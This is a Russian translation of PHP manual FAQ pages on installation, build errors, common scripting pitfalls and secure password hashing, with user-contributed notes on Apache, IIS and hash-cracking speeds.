Поскольку опция по умолчанию равна 1, критически важно убедиться, что используется именно тот файл php.ini, который нужен. Этот FAQ рассказывает об этом подробнее.

Как я могу понять, что файл php.ini найден и используется? Складывается впечатление, что вносимые изменения игнорируются.

Для проверки, какой именно файл php.ini подключается, запустите функцию phpinfo(). В верхней части вывода будет список с названием Configuration File (php.ini). Из него можно понять, какой именно файл php.ini подключён. Если указана только директория в PATH, а файл конфигурации не прочитан, то просто скопируйте его в эту директорию. Если php.ini включён в переменную окружения PATH — это значит, что он прочитан.

Если файл php.ini читается и PHP запускается как модуль, то после внесения изменений в php.ini необходимо перезагрузить веб-сервер.

Также смотрите описание php_ini_loaded_file().

Как добавить директорию PHP в переменную PATH в Windows?

В Windows:

  • Старт > Панель Управления > Система

  • Перейдите на вкладку «Дополнительно»

  • Нажмите кнопку «Переменные Окружения»

  • Посмотрите раздел «Системные Переменные»

  • Найдите строку, которая содержит переменную PATH

  • Дважды щёлкните по ней мышью

  • Допишите в конец строки путь к исполняемому файлу PHP, не забыв добавить перед ним символ ';' (например ;C:\php)

  • Нажмите OK

Замечание: Не забудьте перезагрузиться после описанных действий, а после перезагрузки проверить, что переменная окружения PATH содержит нужный путь.

Как в Windows я могу сделать файл php.ini доступным для PHP?

Есть несколько способов сделать это. Если вы установили Apache, обратитесь к документации Apache, иначе вы должны установить переменную среды PHPRC.

Можно ли использовать согласование контента Apache (опция MultiViews) с PHP?

Если ссылки на файлы PHP содержат расширения, то всё будет работать отлично. Этот FAQ применим тогда, когда ссылки не содержат расширения и нужно использовать согласование контента для файлов PHP из URL-адреса. Если так, замените строку AddType application/x-httpd-php .php на:

AddHandler php5-script php
AddType text/html php
Это решение не сработает с Apache 1, поскольку модуль PHP не отлавливает php-script.

Ограничен ли PHP только обработкой HTTP-методов GET и POST?

Нет, можно обработать и другие методы запроса, например CONNECT. Правильный статус ответа нужно посылать через функцию header(). Если нужно, чтобы PHP работал только с методами GET и POST, необходимо сконфигурировать Apache так:

<LimitExcept GET POST>
Deny from all
</LimitExcept>

User Contributed Notes

charleslynch at xybersoftware dot com 17-Apr-2008 07:30
One final note to the message below if you are getting the message about not having rights to execute...You need to use IIS right click on the website and choose 'Properties/Home Directory' then on the 'Execute Permissions' combo box you need to choose 'Scripts only'...Click ok...another dialog may appear asking which directories to apply the action too...choose any directories that you intend on using php in and click ok...It should work now...
joerg at fenin dot de 02-Nov-2007 02:35
To limit HTTP Request Methods on the Apache server running PHP you should use mod_rewrite or mod_security instead of LimitExcept, to give you more control over the handling of such http errors.  Can go in .htaccess file or httpd.conf

# mod_rewrite
<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_METHOD} !^(GET|HEAD|POST)$
  RewriteRule .* - [F,L]
</IfModule>

# mod_security
<IfModule mod_security.c>
  SecFilterSelective REQUEST_METHOD "!^(GET|HEAD|POST)$" "deny,log,status:403"
</IfModule>

You can use the php request method scanner at askapache to see exactly how your server deals with various request methods, and check that your server is configured properly..

http://www.askapache.com/online-tools/request-method-scanner/
Curtis 18-May-2007 07:39
I have some additional troubleshooting tips for 53.7, which deals with getting a blank screen on your browser when running a PHP script.

In addition to server misconfiguration, it may also be that PHP isn't configured to output errors to the browser, which is the case if you or your host uses a more secure php.ini. If this is the case, you need to find out where errors are being logged to find out if any errors are preventing normal output from being delivered to the client.

If you have access to php.ini, check the 'display_errors' directive, which is, by default, located under the 'error_reporting' directive. It's helpful to have 'display_errors' on during debugging phases, but best to have it off in production environments.

Related functions: http://php.net/ini_set | http://php.net/error_reporting | http://php.net/error_log
emzeperx at emzeper dot hu 01-Jan-2006 12:36
You do not have to restart the whole system make effect of changing the PATH env var. For me (sbs2003) worked automatically.
on older systems you can use

set $Path=%path%;c:\php

command to extend immediately the path var.
per dot fikse at ipj dot no 12-Jul-2005 01:22
Installing PHP 4 or 5 on Windows Server 2003 x64 results in http error 505. This is not a PHP bug. It is due to running a 32-bit ISAPI DLL under the 64-bit version of IIS 6, as documented here: http://support.microsoft.com/?id=895976

Solution: Flip the Metabase flag for Enable32bitAppOnWin64 as described in http://support.microsoft.com/?id=894435 ,
like this: CSCRIPT ADSUTIL.VBS SET W3SVC/AppPools/Enable32bitAppOnWin64 1

(Alternatively with full path: cscript %SYSTEMDRIVE%\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1)


Проблемы сборки

В этом разделе собраны наиболее общие ошибки, возникающие на этапе сборки.

  1. Я получил последнюю версию PHP, используя анонимный доступ к Git, но в нём нет конфигурационного скрипта!
  2. У меня возникают проблемы при конфигурировании PHP для работы с Apache. Он говорит, что не может найти httpd.h, хотя файл находится точно там, где я сказал!
  3. Во время конфигурации PHP (./configure) вы наталкиваетесь на ошибку, схожую со следующей: checking lex output file root... ./configure: lex: command not found configure: error: cannot find output from lex; giving up
  4. Когда я пытаюсь запустить Apache, я получаю следующее сообщение: fatal: relocation error: file /path/to/libphp4.so: symbol ap_block_alarms: referenced symbol not found
  5. Когда я запускаю configure, он говорит, что не может найти файлы include или библиотеку для GD, gdbm или какого-либо другого пакета!
  6. При компиляции файла language-parser.tab.c мне выдаются ошибки, говорящие yytname undeclared.
  7. Когда я запускаю make, похоже, он выполняется нормально, но на конечной линковке жалуется, что не может найти некоторые файлы.
  8. При компоновке PHP, он жалуется на некоторые неопределённые ссылки.
  9. Я следовал всем шагам по установке модульной версии для Apache на Unix, но мои PHP-скрипты выводятся в браузере или я получаю запрос сохранить файл.
  10. В документации рекомендуется использовать: --activate-module=src/modules/php4/libphp4.a, но такой файл не существует, поэтому я заменил это на --activate-module=src/modules/php4/libmodphp4.a и оно не работает!? Что происходит?
  11. Когда я пытаюсь собрать Apache c PHP в виде статического модуля, используя --activate-module=src/modules/php4/libphp4.a он говорит, что мой компилятор не ANSI-совместимый.
  12. Когда я пытаюсь собрать PHP с помощью --with-apxs, я получаю странное сообщение об ошибке.
  13. Во время выполнения make я очень быстро получаю ошибки и множество всяких RUSAGE_.
  14. При компиляции PHP с MySQL, configure выполняется нормально, но во время make я получаю ошибку типа следующей: ext/mysql/libmysqlclient/my_tempnam.o(.text+0x46): In function my_tempnam': /php4/ext/mysql/libmysqlclient/my_tempnam.c:103: the use of tempnam' is dangerous, better use mkstemp', в чём дело?
  15. Я хочу обновить мой PHP. Где я могу найти строку ./configure, которая была использована для моей текущей PHP установки?
  16. При сборке PHP с библиотекой GD, либо выдаются странные ошибки компиляции, либо ошибки сегментации (segfaults) при выполнении.
  17. При компиляции PHP я, кажется, получаю случайные ошибки, например она зависает. Я использую Solaris, если это имеет значение.
Я получил последнюю версию PHP, используя анонимный доступ к Git, но в нём нет конфигурационного скрипта!

Вам нужен установленный пакет GNU autoconf для того, чтобы сгенерировать конфигурационный скрипт из configure.in. После получения исходников с Git сервера просто запустите ./buildconf в директории верхнего уровня. (Также, если вы запускаете configure без опции --enable-maintainer-mode, то конфигурационный скрипт не будет перестроен автоматически при изменении файла configure.in, поэтому вам необходимо делать это вручную, когда вы заметите, что configure.in изменился. Один из симптомов - появление таких вещей как @VARIABLE@ в вашем Makefile после выполнения configure или config.status.)

У меня возникают проблемы при конфигурировании PHP для работы с Apache. Он говорит, что не может найти httpd.h, хотя файл находится точно там, где я сказал!

Для configure/setup скрипта вам необходимо указать директорию верхнего уровня, в которой находятся исходники Apache. Это означает, что вам надо задать --with-apache=/path/to/apache, а не --with-apache=/path/to/apache/src.

Во время конфигурации PHP (./configure) вы наталкиваетесь на ошибку, схожую со следующей:

checking lex output file root... ./configure: lex: command not found
configure: error: cannot find output from lex; giving up

Не забудьте внимательно прочитать инструкции по установке и заметьте, что для компиляции PHP вам нужно установить как flex, так и bison. В зависимости от ваших настроек, установите bison и flex либо из исходников, либо из пакетов, например, RPM.

Когда я пытаюсь запустить Apache, я получаю следующее сообщение:

fatal: relocation error: file /path/to/libphp4.so:
symbol ap_block_alarms: referenced symbol not found

Эта ошибка обычно появляется, если ядро Apache было скомпилировано как разделяемая библиотека DSO (Dynamic Shared Object). Попробуйте переконфигурировать Apache, используя, по крайней мере, следующие флаги:

--enable-shared=max --enable-rule=SHARED_CORE

Для более подробной информации читайте файл INSTALL в директории верхнего уровня или » страницу руководства Apache по DSO.

Когда я запускаю configure, он говорит, что не может найти файлы include или библиотеку для GD, gdbm или какого-либо другого пакета!

Вы можете сделать так, что скрипт configure будет искать файлы заголовков или библиотеки в нестандартных местах, задав дополнительные флаги для С препроцессора и компоновщика, такие как:

    CPPFLAGS=-I/path/to/include LDFLAGS=-L/path/to/library ./configure
Если вы используете csh-подобную оболочку (зачем?), то это будет:
    env CPPFLAGS=-I/path/to/include LDFLAGS=-L/path/to/library ./configure

При компиляции файла language-parser.tab.c мне выдаются ошибки, говорящие yytname undeclared.

Вам необходимо обновить вашу версию Bison. Последнюю версию можно найти на » http://www.gnu.org/software/bison/bison.html.

Когда я запускаю make, похоже, он выполняется нормально, но на конечной линковке жалуется, что не может найти некоторые файлы.

Некоторые старые версии make ошибочно не помещают скомпилированные файлы в поддиректорию functions в той же директории. Попробуйте выполнить cp *.o functions и затем перезапустить make. Если это помогло, то вам действительно надо установить свежую версию GNU make.

При компоновке PHP, он жалуется на некоторые неопределённые ссылки.

Посмотрите на строку для компоновки и убедитесь, что все нужные библиотеки добавлены в конце. Часто забывают '-ldl' и библиотеки, необходимые для поддержки включённых вручную баз данных.

Некоторые люди также сообщают, что при компоновке с Apache им пришлось добавить '-ldl' сразу после libphp4.a.

Я следовал всем шагам по установке модульной версии для Apache на Unix, но мои PHP-скрипты выводятся в браузере или я получаю запрос сохранить файл.

Это означает, что по какой-то причине модуль PHP не вызывается. Перед тем как обращаться за помощью, проверьте три вещи:

  • Убедитесь, что запускаемый вами бинарник httpd действительно новый, только что построенный httpd. Для этого попробуйте запустить: /path/to/binary/httpd -l Если вы не видите mod_php4.c в списке, то вы запускаете не тот бинарник. Найдите и установите правильный бинарник.
  • Убедитесь, что вы добавили правильный Mime Type в один из ваших Apache .conf файлов. Это должно быть: AddType application/x-httpd-php .php Также убедитесь, что эта строка AddType не попала внутрь <Virtualhost> или <Directory> блока, так как это не даст ей работать с местонахождением вашего тестового скрипта.
  • Наконец, между Apache 1.2 и Apache 1.3 расположение конфигурационных файлов Apache по умолчанию изменилось. Вам надо проверить, что действительно читается тот конфигурационный файл, в который вы добавили строку AddType. Вы можете внести очевидную синтаксическую ошибку в ваш httpd.conf файл или какое-либо другое заметное изменение, которое покажет вам, что читается правильный файл.

В документации рекомендуется использовать: --activate-module=src/modules/php4/libphp4.a, но такой файл не существует, поэтому я заменил это на --activate-module=src/modules/php4/libmodphp4.a и оно не работает!? Что происходит?

Заметьте, что файл libphp4.a не должен существовать. Он будет создан в процессе!

Когда я пытаюсь собрать Apache c PHP в виде статического модуля, используя --activate-module=src/modules/php4/libphp4.a он говорит, что мой компилятор не ANSI-совместимый.

Сообщение об ошибке вводит в заблуждение; это исправлено в более свежих версиях Apache.

Когда я пытаюсь собрать PHP с помощью --with-apxs, я получаю странное сообщение об ошибке.

Проверьте три вещи. Во-первых, по какой-то причине, когда Apache создаёт Perl скрипт apxs, он получается без правильного компилятора и переменных, задающих флаги. Найдите ваш apxs скрипт (попробуйте команду which apxs), иногда он установлен как /usr/local/apache/bin/apxs или /usr/sbin/apxs. Откройте его и найдите строки, схожие с этими:

my $CFG_CFLAGS_SHLIB  = ' ';          # substituted via Makefile.tmpl
my $CFG_LD_SHLIB      = ' ';          # substituted via Makefile.tmpl
my $CFG_LDFLAGS_SHLIB = ' ';          # substituted via Makefile.tmpl
Если они так и выглядят, то вы нашли вашу проблему. Они могут содержать только пробелы или другие неправильные значения, такие как 'q()'. Измените эти строки на:
my $CFG_CFLAGS_SHLIB  = '-fpic -DSHARED_MODULE'; # substituted via Makefile.tmpl
my $CFG_LD_SHLIB      = 'gcc';                   # substituted via Makefile.tmpl
my $CFG_LDFLAGS_SHLIB = q(-shared);              # substituted via Makefile.tmpl
Вторая возможная проблема возникает только на Red Hat 6.1 и 6.2. Скрипт apxs, поставляемый с Red Hat, сломан. Ищите эту строку:
my $CFG_LIBEXECDIR    = 'modules';         # substituted via APACI install
Если вы нашли вышеприведённую строку, измените её на следующее:
my $CFG_LIBEXECDIR    = '/usr/lib/apache'; # substituted via APACI install
И последнее, если вы переконфигурируете/переустанавливаете Apache, запустите make clean после ./configure и перед make.

Во время выполнения make я очень быстро получаю ошибки и множество всяких RUSAGE_.

При выполнении make во время установки, если вы сталкиваетесь с проблемами, похожими на следующее:

microtime.c: In function `php_if_getrusage':
microtime.c:94: storage size of `usg' isn't known
microtime.c:97: `RUSAGE_SELF' undeclared (first use in this function)
microtime.c:97: (Each undeclared identifier is reported only once
microtime.c:97: for each function it appears in.)
microtime.c:103: `RUSAGE_CHILDREN' undeclared (first use in this function)
make[3]: *** [microtime.lo] Error 1
make[3]: Leaving directory `/home/master/php-4.0.1/ext/standard'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/home/master/php-4.0.1/ext/standard'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/master/php-4.0.1/ext'
make: *** [all-recursive] Error 1

Ваша система сломана. Вы должны исправить ваши файлы /usr/include, установив пакет glibc-devel, который соответствует вашей glibc. Это абсолютно не зависит от PHP. Для доказательства попробуйте следующий простой тест:

$ cat >test.c <<X
#include <sys/resource.h>
X
$ gcc -E test.c >/dev/null
Если выдаются ошибки, то ваши include файлы испорчены.

При компиляции PHP с MySQL, configure выполняется нормально, но во время make я получаю ошибку типа следующей: ext/mysql/libmysqlclient/my_tempnam.o(.text+0x46): In function my_tempnam': /php4/ext/mysql/libmysqlclient/my_tempnam.c:103: the use of tempnam' is dangerous, better use mkstemp', в чём дело?

Во-первых, важно понимать, что это Warning (предупреждение), а не фатальная ошибка. Так как это последнее, что выводится во время make, оно может выглядеть как фатальная ошибка, но это не так. Конечно, если ваш компилятор умирает на предупреждениях, (Warnings), то тогда да. Также имейте ввиду, что поддержка MySQL включена по умолчанию.

Замечание:

Начиная с PHP 4.3.2 вы также будете видеть следующий текст после того как сборка (make) завершится:

Build complete.
(It is safe to ignore warnings about tempnam and tmpnam).
(Сборка завершена, можно безопасно игнорировать
предупреждения о tempnam и tmpnam.)

Я хочу обновить мой PHP. Где я могу найти строку ./configure, которая была использована для моей текущей PHP установки?

Либо смотрите файл config.nice в дереве исходников вашей текущей PHP установки, либо, если это недоступно, просто выполните скрипт:

<?php phpinfo(); ?>
В начале вывода будет находиться строка ./configure, которая была использована для сборки текущего PHP.

При сборке PHP с библиотекой GD, либо выдаются странные ошибки компиляции, либо ошибки сегментации (segfaults) при выполнении.

Убедитесь, что ваша библиотека GD и PHP компонуются с одними и теми же зависимыми библиотеками (например, libpng).

При компиляции PHP я, кажется, получаю случайные ошибки, например она зависает. Я использую Solaris, если это имеет значение.

Использование не GNU утилит во время компиляции PHP может вызвать проблемы. Чтобы быть уверенным, что компиляция PHP будет работать, используйте GNU утилиты. Например, в Solaris, использование SunOS BSD-совместимой или Solaris версии sed не будет работать, а GNU или Sun POSIX (xpg4) версии sed будет. Ссылки: » GNU sed, » GNU flex, and » GNU bison.

User Contributed Notes

There are no user contributed notes for this page.


Использование PHP

В этом разделе собрано множество общих ошибок, которые могут вам встретиться при написании PHP-скриптов.

  1. Я не могу запомнить порядок аргументов PHP-функций, они что, случайны?
  2. Я хочу написать общий PHP-скрипт, который может обрабатывать данные, приходящие из любой формы. Как узнать какие переменные метода POST доступны?
  3. Мне надо преобразовать все одиночные кавычки (') в обратный слеш с последующей одиночной кавычкой (\'). Как я могу сделать это с помощью регулярного выражения? Я также хотел бы преобразовать " в \" и \ в \\.
  4.       Когда я делаю следующее, вывод распечатывается не в том порядке:

<?php
function myfunc($argument)
{
    echo $argument + 10;
}
$variable = 10;
echo "myfunc($variable) = " . myfunc($variable);
?>

     Что происходит?
  5. Эй, что произошло с моими строками? <pre> <?php echo "Это должно быть на первой строке."; ?> <?php echo "А это должно быть на следующей строке."; ?> </pre>
  6. Я получаю сообщение 'Warning: Cannot send session cookie - headers already sent...' или 'Cannot add header information - headers already sent...'.
  7. Мне необходим прямой доступ к информации в заголовке запроса. Как я могу это сделать?
  8. Когда я пытаюсь использовать аутентификацию с IIS, я получаю 'No Input file specified'.
  9. Windows: У меня нет доступа к файлам, разделяемых с другим компьютером, по IIS.
  10. Как я должен совмещать XML и PHP? Он жалуется на мои <?xml тэги!
  11. Где я могу найти полный список переменных, доступных мне в PHP?
  12. Как я могу генерировать PDF файлы без использования платных или коммерческих библиотек, как PDFLib? Я бы хотел что-нибудь бесплатное и не требующее внешних библиотек PDF.
  13. Несколько PHP директив могут принимать сокращения для байтовых значений в отличие от только int байтовых значений. Каковы все доступные сокращения?
Я не могу запомнить порядок аргументов PHP-функций, они что, случайны?

PHP - это клей, который скрепляет вместе сотни различных внешних библиотек, поэтому иногда это кажется довольно запутанным. Однако, общее правило таково:

Параметры функций работы с массивами упорядочены в виде "иголка (needle), сено (haystack)", тогда как порядок в строковых функциях обратный, то есть аналогичен "сено, иголка".

Я хочу написать общий PHP-скрипт, который может обрабатывать данные, приходящие из любой формы. Как узнать какие переменные метода POST доступны?

PHP предлагает множество предопределённых переменных, таких как суперглобальная $_POST. Вы можете пройтись по $_POST так как это ассоциативный массив всех значений, пришедших с POST. Для примера, давайте просто пройдёмся по ним с foreach, проверим на пустые (empty()) значения и распечатаем.

<?php
$empty = $post = array();
foreach ($_POST as $varname => $varvalue) {
if (empty($varvalue)) {
$empty[$varname] = $varvalue;
} else {
$post[$varname] = $varvalue;
}
}

print "<pre>";
if (empty($empty)) {
print "В POST не было пустых значений, вот что там было:\n";
var_dump($post);
} else {
print "Пришло " . count($empty) . " пустых значений\n";
print "Всего отправлено:\n"; var_dump($post);
print "Пустых:\n"; var_dump($empty);
exit;
}
?>

Мне надо преобразовать все одиночные кавычки (') в обратный слеш с последующей одиночной кавычкой (\'). Как я могу сделать это с помощью регулярного выражения? Я также хотел бы преобразовать " в \" и \ в \\.

Подразумевая, что вы хотите использовать результат преобразования в работе с базой данных, используйте соответствующий механизм экранирования, идущий с используемой вами базой данных. Например, используйте mysql_real_escape_string() с MySQL и pg_escape_string() с PostgreSQL. Есть также более общие функции addslashes() и stripslashes(), они часто встречаются в старом PHP-коде.

Когда я делаю следующее, вывод распечатывается не в том порядке:
<?php
function myfunc($argument)
{
echo $argument + 10;
}
$variable = 10;
echo "myfunc($variable) = " . myfunc($variable);
?>
Что происходит?

Для того, чтобы использовать результат вашей функции в выражении (таком как соединение с другими строками, как в вышеприведённом примере), вам необходимо вернуть значение с помощью return, а не выводить его через echo.

Эй, что произошло с моими строками?
<pre>
<?php echo "Это должно быть на первой строке."; ?>
<?php echo "А это должно быть на следующей строке."; ?>
</pre>

В PHP, блок кода завершается либо с "?>", либо с "?>\n" (где \n означает "новая строка"). В вышеприведённом примере предложения выведутся на одной строке, так как PHP опускает символ новой строки после завершения блока. Это означает, что вам необходимо вставить дополнительный символ новой строки после каждого блока PHP-кода, для того чтобы вывод продолжался с новой строки.

Почему PHP делает это? Потому что при форматировании обычного HTML это, обычно, упрощает вашу жизнь когда вам не нужна эта новая строка и вам не надо создавать невероятно длинные строки для того, чтобы сделать исходник страницы читаемым.

Я получаю сообщение 'Warning: Cannot send session cookie - headers already sent...' или 'Cannot add header information - headers already sent...'.

Функциям header(), setcookie(), и функциям сессии нужно добавить заголовки к выходному потоку, но заголовки могут быть посланы только перед всем другим содержимым. Перед использованием этих функций нельзя ничего выводить, в том числе HTML. Функция headers_sent() проверит, если ваш скрипт уже послал заголовки; также смотрите функции управления выводом.

Мне необходим прямой доступ к информации в заголовке запроса. Как я могу это сделать?

Это делает функция getallheaders(), если вы запускаете PHP как модуль Apache. Так, следующий кусок кода покажет вам все заголовки запроса:

<?php
$headers = getallheaders();
foreach ($headers as $name => $content) {
echo "headers[$name] = $content<br />\n";
}
?>

Также смотрите
apache_lookup_uri(),
apache_response_headers() и
fsockopen()

Когда я пытаюсь использовать аутентификацию с IIS, я получаю 'No Input file specified'.

Это недостаток модели безопасности IIS. Проблема общая для всех CGI программ, выполняющихся под IIS. Чтобы обойти проблему, создайте простой HTML файл (необрабатываемый PHP) как входную страницу в аутентифицируемой директории. Затем используйте META тэг для перенаправления на PHP страницу или поместите ссылку, указывающую на PHP страницу. После этого PHP распознает аутентификацию правильно. Это не должно повлиять на другие веб-серверы NT. Для дополнительной информации смотрите: » http://support.microsoft.com/kb/q160422/ и раздел руководства HTTP Аутентификация.

Windows: У меня нет доступа к файлам, разделяемых с другим компьютером, по IIS.

Вам необходимо сделать изменения. Идите в Internet Information Services. Найдите ваш PHP файл и перейдите в его свойства. Идите в закладку File Security, Edit -> Anonymous access and authentication control.

Вы можете исправить проблему либо сняв отметку с Anonymous Access и оставив отмеченным Integrated Window Authentication, либо отметив Anonymous Access и отредактировать права пользователя, так как у него может не быть прав.

Как я должен совмещать XML и PHP? Он жалуется на мои <?xml тэги!

Для того, чтобы встроить <?xml напрямую в ваш PHP-код, вам надо отключить короткие тэги, установив PHP директиву short_open_tags в 0. Вы можете установить эту директиву с помощью ini_set(). Независимо от того, включена short_open_tags или нет, вы можете делать что-то типа: <?php echo '<?xml'; ?>. По умолчанию эта директива включена (On).

Где я могу найти полный список переменных, доступных мне в PHP?

Читайте страницу руководства по предопределённым переменным, так как она содержит частичный список предопределённых переменных, доступных вашему скрипту. Полный список доступных переменных (и множество другой информации) можно увидеть, вызвав функцию phpinfo(). Не забудьте прочитать раздел руководства по переменным, лежащим вне PHP так как он описывает общие сценарии для внешних переменных, таких как HTML форма, Cookie и URL.

Как я могу генерировать PDF файлы без использования платных или коммерческих библиотек, как PDFLib? Я бы хотел что-нибудь бесплатное и не требующее внешних библиотек PDF.

Есть несколько альтернатив, написанных на PHP, таких как » FPDF и » TCPDF.

Несколько PHP директив могут принимать сокращения для байтовых значений в отличие от только int байтовых значений. Каковы все доступные сокращения?

Доступные опции: K (для килобайт), M (для мегабайт) и G (для гигабайт); они регистронезависимы. Все остальное считается байтами. 1M равно одному мегабайту или 1048576 байтам. 1K равно одному килобайту или 1024 байтам. Эти сокращения вы можете использовать в php.ini и в функции ini_set(). Обратите внимание, что числовое значение приводится к типу int; например, 0.5M интерпретируется как 0.

Замечание: килобайт и кибибайт

В нотации PHP один килобайт равен 1024 байтам, тогда как стандарт IEC считает это кибибайтом. В итоге: k и K = 1024 байта.

User Contributed Notes

robjbrain at gmail dot com 10-Oct-2016 04:37
There is no error message given if you accidentally use KB, MB or GB instead of K, M or G. From what I can tell the alphabetic characters will be ignored and it will be treated as bytes, so 1GB actually equals 1 Byte. phpinfo() and ini_get() will report what you have written e.g. 1GB, so it will not be clear that there is anything wrong with your setting even though there is.


Безопасное хеширование паролей

В этом разделе разъясняются причины, стоящие за хешированием паролей в целях безопасности, а также эффективные методы хеширования.

  1. Почему я должен хешировать пароли пользователей в моем приложении?
  2. Почему популярные хеширующие функции, такие как md5 и sha1 не подходят для паролей?
  3. Если популярные хеширующие функции не подходят, как же я тогда должен хешировать свои пароли?
  4. Что такое соль?
  5. Как я должен хранить свою соль?
Почему я должен хешировать пароли пользователей в моем приложении?

Хеширование паролей является одним из самых основных соображений безопасности, которые необходимо сделать, при разработке приложения, принимающего пароли от пользователей. Без хеширования, пароли, хранящиеся в базе вашего приложения, могут быть украдены, например, если ваша база данных была скомпрометирована, а затем немедленно могут быть применены для компрометации не только вашего приложения, но и аккаунтов ваших пользователей на других сервисах, если они не используют уникальных паролей.

Применяя хеширующий алгоритм к пользовательским паролям перед сохранением их в своей базе данных, вы делаете невозможным разгадывание оригинального пароля для атакующего вашу базу данных, в то же время сохраняя возможность сравнения полученного хеша с оригинальным паролем.

Важно заметить, однако, что хеширование паролей защищает их только от компрометирования в вашем хранилище, но не обязательно от вмешательства вредоносного кода в вашем приложении.

Почему популярные хеширующие функции, такие как md5() и sha1() не подходят для паролей?

Такие хеширующие алгоритмы как MD5, SHA1 и SHA256 были спроектированы очень быстрыми и эффективными. При наличии современных технологий и оборудования, стало довольно просто выяснить результат этих алгоритмов методом "грубой силы" для определения оригинальных вводимых данных.

Из-за той скорости, с которой современные компьютеры могут "обратить" эти хеширующие алгоритмы, многие профессионалы компьютерной безопасности строго не рекомендуют использовать их для хеширования паролей.

Если популярные хеширующие функции не подходят, как же я тогда должен хешировать свои пароли?

При хешировании паролей существует два важных соображения: это стоимость вычисления и соль. Чем выше стоимость вычисления хеширующего алгоритма, тем больше времени требуется для взлома его вывода методом "грубой силы".

PHP предоставляет встроенное API хеширования паролей, которое безопасно работает и с хешированием и с проверкой паролей.

Другой возможностью является функция crypt(), которая поддерживает несколько алгоритмов хеширования. При использовании этой функции вы можете быть уверенным, что выбранный вами алгоритм доступен, так как PHP содержит собственную реализацию каждого поддерживаемого алгоритма, даже в случае, если какие-то из них не поддерживаются вашей системой.

При хешировании паролей рекомендуется применять алгоритм Blowfish, который также используется по умолчанию в API хеширования паролей, так как он значительно большей вычислительной сложности, чем MD5 или SHA1, при этом по-прежнему гибок.

Учтите, что, если вы используете функцию crypt() для проверки пароля, то вам нужно предостеречь себя от атак по времени, применяя сравнение строк, которое занимает постоянное время. Ни операторы PHP == и ===, ни функция strcmp() не являются таковыми. Функция же password_verify() как раз делает то, что нужно. Настоятельно рекомендуется использовать встроенное API хеширования паролей, если есть такая возможность.

Что такое соль?

Криптографическая соль представляет собой данные, которые применяются в процессе хеширования для предотвращения возможности разгадать оригинальный ввод с помощью поиска результата хеширования в списке заранее вычисленных пар ввод-хеш, известном также как "радужная" таблица.

Более простыми словами, соль - это кусочек дополнительных данных, которые делают ваши хеши намного более устойчивыми к взлому. Существует много онлайн-сервисов, предоставляющих обширные списки заранее вычисленных хешей вместе с их оригинальным вводом. Использование соли делает поиск результирующего хеша в таком списке маловероятным или даже невозможным.

password_hash() создаёт случайную соль в случае, если она не была передана, и чаще всего это наилучший и безопасный выбор.

Как я должен хранить свою соль?

При использовании функции password_hash() или crypt(), возвращаемое значение уже содержит соль как часть созданного хеша. Это значение нужно хранить как есть в вашей базе данных, так как оно содержит также информацию о хеширующей функции, которая использовалась, и может быть непосредственно передано в функции password_verify() или crypt() при проверке пароля.

Следующая диаграмма показывает формат возвращаемого значения функциями crypt() или password_hash(). Как можно видеть, они содержат полную информацию об алгоритме и соли, требуемых для будущей проверки пароля.

Компоненты значения, возвращаемые функциями password_hash и crypt, идут в следующем порядке: выбранный алгоритм, опции алгоритма, соль и хеш пароля.

User Contributed Notes

tamas at microwizard dot com 22-Sep-2021 08:23
While I am reading the comments some old math lessons came into my mind and started thinking. Using constants in a mathematical algorythms do not change the complexity of the algorythm itself.

The reason of salting is to avoid using rainbow tables (sorry guys this is the only reason) because it speeds up (shortcuts) the "actual" processing power.
(((Longer stored hashes AND longer password increases complexity of cracking NOT adding salt ALONE.)))

PHP salting functions returns all the needed information for checking passwords, therfore this information should be treated as constant from farther point of view. It is also a target for rainbow tables (sure: for much-much larger ones).

What is the solution?
The solution is to store password hash and salt on different places.
The implementation is yours. Every two different places will be good enough.

Yes, it will make problems for hackers. He/she needs to understand your system. No speed up for password cracking will work for him/her without reimplementing your whole system.

This is my two cent.
swardx at gmail dot com 29-Jun-2016 09:36
A great read..

https://nakedsecurity.sophos.com/2013/11/20/serious-security-how-to-store-your-users-passwords-safely/

Serious Security: How to store your users' passwords safely

In summary, here is our minimum recommendation for safe storage of your users' passwords:

    Use a strong random number generator to create a salt of 16 bytes or longer.
    Feed the salt and the password into the PBKDF2 algorithm.
    Use HMAC-SHA-256 as the core hash inside PBKDF2.
    Perform 20,000 iterations or more. (June 2016.)
    Take 32 bytes (256 bits) of output from PBKDF2 as the final password hash.
    Store the iteration count, the salt and the final hash in your password database.
    Increase your iteration count regularly to keep up with faster cracking tools.

Whatever you do, don't try to knit your own password storage algorithm.
alf dot henrik at ascdevel dot com 12-Mar-2014 07:58
I feel like I should comment some of the clams being posted as replies here.

For starters, speed IS an issue with MD5 in particular and also SHA1. I've written my own MD5 bruteforce application just for the fun of it, and using only my CPU I can easily check a hash against about 200mill. hash per second. The main reason for this speed is that you for most attempts can bypass 19 out of 64 steps in the algorithm. For longer input (> 16 characters) it won't apply, but I'm sure there's some ways around it.

If you search online you'll see people claiming to be able to check against billions of hashes per second using GPUs. I wouldn't be surprised if it's possible to reach 100 billion per second on a single computer alone these days, and it's only going to get worse. It would require a watt monster with 4 dual high-end GPUs or something, but still possible.

Here's why 100 billion per second is an issue:
Assume most passwords contain a selection of 96 characters. A password with 8 characters would then have 96^8 = 7,21389578984e+15 combinations.
With 100 billion per second it would then take 7,21389578984e+15 / 3600 = ~20 hours to figure out what it actually says. Keep in mind that you'll need to add the numbers for 1-7 characters as well. 20 hours is not a lot if you want to target a single user.

So on essence:
There's a reason why newer hash algorithms are specifically designed not to be easily implemented on GPUs.

Oh, and I can see there's someone mentioning MD5 and rainbow tables. If you read the numbers here, I hope you realize how incredibly stupid and useless rainbow tables have become in terms of MD5. Unless the input to MD5 is really huge, you're just not going to be able to compete with GPUs here. By the time a storage media is able to produce far beyond 3TB/s, the CPUs and GPUs will have reached much higher speeds.

As for SHA1, my belief is that it's about a third slower than MD5. I can't verify this myself, but it seems to be the case judging the numbers presented for MD5 and SHA1. The issue with speeds is basically very much the same here as well.

The moral here:
Please do as told. Don't every use MD5 and SHA1 for hasing passwords ever again. We all know passwords aren't going to be that long for most people, and that's a major disadvantage. Adding long salts will help for sure, but unless you want to add some hundred bytes of salt, there's going to be fast bruteforce applications out there ready to reverse engineer your passwords or your users' passwords.


PHP и HTML-разметка

